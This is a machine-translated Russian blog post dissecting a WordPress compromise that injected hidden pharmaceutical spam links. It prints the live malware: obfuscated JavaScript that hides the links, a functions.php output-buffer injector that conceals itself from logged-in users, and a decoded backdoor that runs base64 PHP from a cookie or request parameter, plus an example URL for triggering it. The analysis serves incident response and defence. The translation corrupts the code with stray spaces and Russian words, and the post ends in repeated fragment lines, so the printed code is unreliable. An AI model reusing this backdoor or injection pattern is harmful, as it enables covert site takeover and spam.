В прошлые выходные подруга спросила меня, почему на ее WordPress-сайте, размещенном на GoDaddy, спрятаны ссылки на фармацевтику, и это привело меня в кроличью нору в WordPress.
Внешний интерфейс
Вот что мы видели:
Из браузера сайт выглядел нормально. Ссылки были там незамеченными в течение пяти месяцев! HTML скрывается этим CSS:
<style type = "text / css">. blogcycle_p {position: absolute; clip: rect (438px, auto, auto, 438px);} </ style>Но этот CSS не появляется нигде на странице. Это записывается этим запутанным Javascript:
var _gw7 = []; _gw7.push (['_ trackPageview', '1301851861911781711021861911821711311041861711901861171']); _gw7.push (['_ setOption', '6918518510413211616817818117316919116917817116518219318']); _gw7.push (['_ trackPageview', '2181185175186175181180128167168185181178187186171129169']); _gw7.push (['_ setOption', '1781751821281841711691861101221211261821901141671871861']); _gw7.push (['_ trackPageview', '8111416718718618111412212112618219011112919513011718518']); _gw7.push (['_setOption', '6191178171132']); var t = z = '', l = pos = v = 0, a1 = "arCo", a2 = "omCh"; for (v = 0; v <_gw7.length; v ++) t + = _gw7 [v] [ 1]; л = t.length; while (pos <l) z + = String ["fr" + a2 + a1 + "de"] (parseInt (t.slice (pos, pos + = 3)) - 70); document.write (г);Предположительно это делается для того, чтобы Google не заметил, что ссылки не видны. Число в имени переменной _gw7 варьируется - может быть, оно случайное или, возможно, номер версии. Вы можете найти много других жертв, ища 13018518 ... ,
Back end - дисплей
Тогда возник большой вопрос: как, черт возьми, это попасть на страницу?
Ответ - PHP был отредактирован. Файл functions.php в каждой отдельной теме добавлен в конец (прокрутите всю правую часть до важной части):
if (! function_exists ("b_call")) {function b_call () {if (! ob_get_level ()) ob_start ("b_goes"); } function b_goes ($ p) {if (!fined ('wp_m1')) {if (isset ($ _ COOKIE ['wordpress_test_cookie']) || isset ($ _ COOKIE ['wp-settings-1']) || isset ($ _COOKIE ['wp-settings-time-1']) || (function_exists ('is_user_logged_in') && is_user_logged_in ()) || (! $ M = get_option ('_ iconfeed1'))) {return $ p; } list ($ m, $ n) = @unserialize (trim (strrev ($ m))); define ('wp_m1', $ m); define ('wp_n1', $ n); } if (! stripos ($ p, wp_n1)) $ p = preg_replace ("~ <body [^>] *> ~ i", "$ 0 \ n" .wp_n1, $ p, 1); if (! stripos ($ p, wp_m1)) $ p = preg_replace ("~ </ head> ~", wp_m1. "\ n </ head>", $ p, 1); if (! stripos ($ p, wp_n1)) $ p = preg_replace ("~ </ div> ~", "</ div> \ n" .wp_n1, $ p, 1); if (! stripos ($ p, wp_m1)) $ p = preg_replace ("~ </ div> ~", wp_m1. "\ n </ div>", $ p, 1); вернуть $ p; } function b_end () {@ob_end_flush (); } if (ob_get_level ()) ob_end_clean (); add_action ("init", "b_call"); add_action ("wp_head", "b_call"); add_action ("get_sidebar", "b_call"); add_action ("wp_footer", "b_call"); add_action ("shutdown", "b_end"); }Мои знания WordPress являются базовыми, поэтому первые несколько раз, когда я смотрел на это, они казались нормальными. Это было только благодаря php?threat=2013-03-25.01> анализ по NinjaFirewall что я пошел и посмотрел снова. Get_option ('_ iconfeed1') читает из базы данных, изменяет значение и вставляет его на страницу. Имя параметра изменяется, предположительно, оно выбирается из списка во время заражения. Здесь есть приятный штрих, когда он не показывается зарегистрированным пользователям, что, вероятно, усложняет расследование («Мой сайт выглядит нормально, на вашем компьютере должен быть вирус или что-то!»).
В таблице базы данных wp_options, которая _iconfeed1 содержит Javascript и строку HTML со всеми фармацевтическими ссылками в обратном порядке. Почему это наоборот? Я не уверен. Может быть, он побеждает некоторые плагины WordPress, которые ищут подобные вещи. Это определенно побеждало мой начальный grep дампа базы данных.
Back end - вход
Но подождите, скоро станет намного лучше, потому что следующий вопрос - как, черт возьми, они пишут в wp_options. Svn diff установки wordpress против хранилища показывает эти новые файлы:
- wp-content // entry-nav.php # В нескольких, но не во всех темах
- wp-content // sidebar-meta.php # Только в одной теме
- WP-администратора / мс-media.php
- WP-администратора / включает / класс-WP-menu.php
- WP-включает / тему-Compat / archive.php
- WP-включает / пост-load.php
На других зараженных сайтах имена различаются, но, похоже, они похожи на части WordPress. А что в этих файлах? О, вас ждет угощение - вот несколько первых строчек одного:
$ bawdy = 'T'; $ concoct = 'e'; $ cretin = '2XRa) $ r)'; $ eyers = '; $ _'; $ befogged = 'e'; $ gayety = 'a'; $ jolynn = '8'; $ armor = '$ 0QP ('; $ hotdick = 'K'; $ краткое = 'a) Q $ TM'; $ boxtop = 'e'; $ Решетка = 'я'; $ fuckyoufuckyou = 's'; $ claus = 'P'; $ blitzes = '$ [n> EO _'; $ cancells = 'N (gL'; $ fernanda = 'cV; E; r) 6'; $ hasty = ': i_e_'; $ carla = '$ (Wa'; $ duplicable = ', 2aC ('; $ dolli = 't'; $ contributing = '$';Все они следуют одному и тому же шаблону, а имена переменных четко взяты из списка слов. Большинство из них, похоже, не запускались, им не хватало переменной и закрывающего тега php. Для анализа, вот полный (минус php тег), который действительно работал, и который я взломал, чтобы отобразить его вывод: запутанный php (Чтобы понять это, ищите «привет»).
Это декодирует к этому:
$ Я = array_merge ($ _ REQUEST $ _ COOKIE $ _ SERVER); $ a = isset ($ i ["b02005f9ffdf8"])? $ i ["b02005f9ffdf8"]: (isset ($ i ["HTTP_B02005F9FFDF8"])? $ i ["HTTP_B02005F9FFDF8"]: die); Eval (base64_decode ($ а));)Это берет код PHP в кодировке base64 либо в параметре URL, либо в файле cookie и запускает его. Часть cookie хороша тем, что не отображается в журналах доступа. Шестнадцатеричная строка тоже приятное прикосновение. Это изменяется для каждой инфекции, таким образом, другим людям будет трудно воспользоваться преимуществом черного хода.
Для запуска echo "<h1> Hello </ h1>"; злоумышленник ударит что-то вроде:
http://example.com/wp-includes/post-load.php?b02005f9ffdf8=ZWNobyAiPGgxPkhlbGxvPC9oMT4iOw==Кто это сделал? Как?
Кто это сделал? В журналах доступа apache единственный удар, который я вижу по одному из этих сценариев внедрения, - это хостинг-провайдер в Германии, который делает VPS и выделенный хостинг. Один удар, и потому что у него есть cookie, у меня нет PHP, на котором они запускались. Примерно в то же время я вижу тонну зондирования по адресу в Израиле, немного подозрительно, учитывая, что сайт является канадским бизнесом, но он, конечно, не окончательный. Я понятия не имею, кто это сделал.
Как? Я не уверен. На этом сайте было только две учетные записи с хорошими паролями. Как и на любом сайте WordPress, он получал множество попыток взлома, но при размещении на странице входа вы получаете около 2 попыток в секунду (мои сайты используют BruteProtect чтобы уменьшить это). Моя основная теория заключается в том, что злоумышленники проникли на другой сайт на виртуальном хостинге и просто записали все остальные сайты на этой машине (которые кажутся просто разными каталогами).
Как я это исправил? Я переместил своего друга с общего хостинга GoDaddy на свой собственный многопользовательский сайт WordPress на сервере Linode.
Сумасшедшая часть в том, что единственная цель атаки - поднять рейтинг страниц некоторых фармацевтических ссылок. Я не понимал, что SEO - это такой большой бизнес, что люди пойдут на всю эту работу.
Я также восхищаюсь бедным программистом, который должен был это построить. Представьте себе, что вы пытаетесь отладить CSS, который был выведен вашим обратным обфусцированным Javascript, который был записан в базу данных кодировкой Base 64 и передан в обфусцированный PHP-скрипт! Я снимаю шляпу перед вами, мистер Back Hat SEO программист.
Вот некоторые другие люди, которые имеют тот же самый проблема, но с разные переменные , А вот то, что кажется более ранний вариант этой атаки.
Если у вас есть больше информации о его, пожалуйста, дайте мне знать в комментариях, и я обновлю пост. Спасибо!
Как?Почему это наоборот?
А что в этих файлах?
I ["b02005f9ffdf8"]: (isset ($ i ["HTTP_B02005F9FFDF8"])?
Php?
Как?
Кто это сделал?
Как?
Как я это исправил?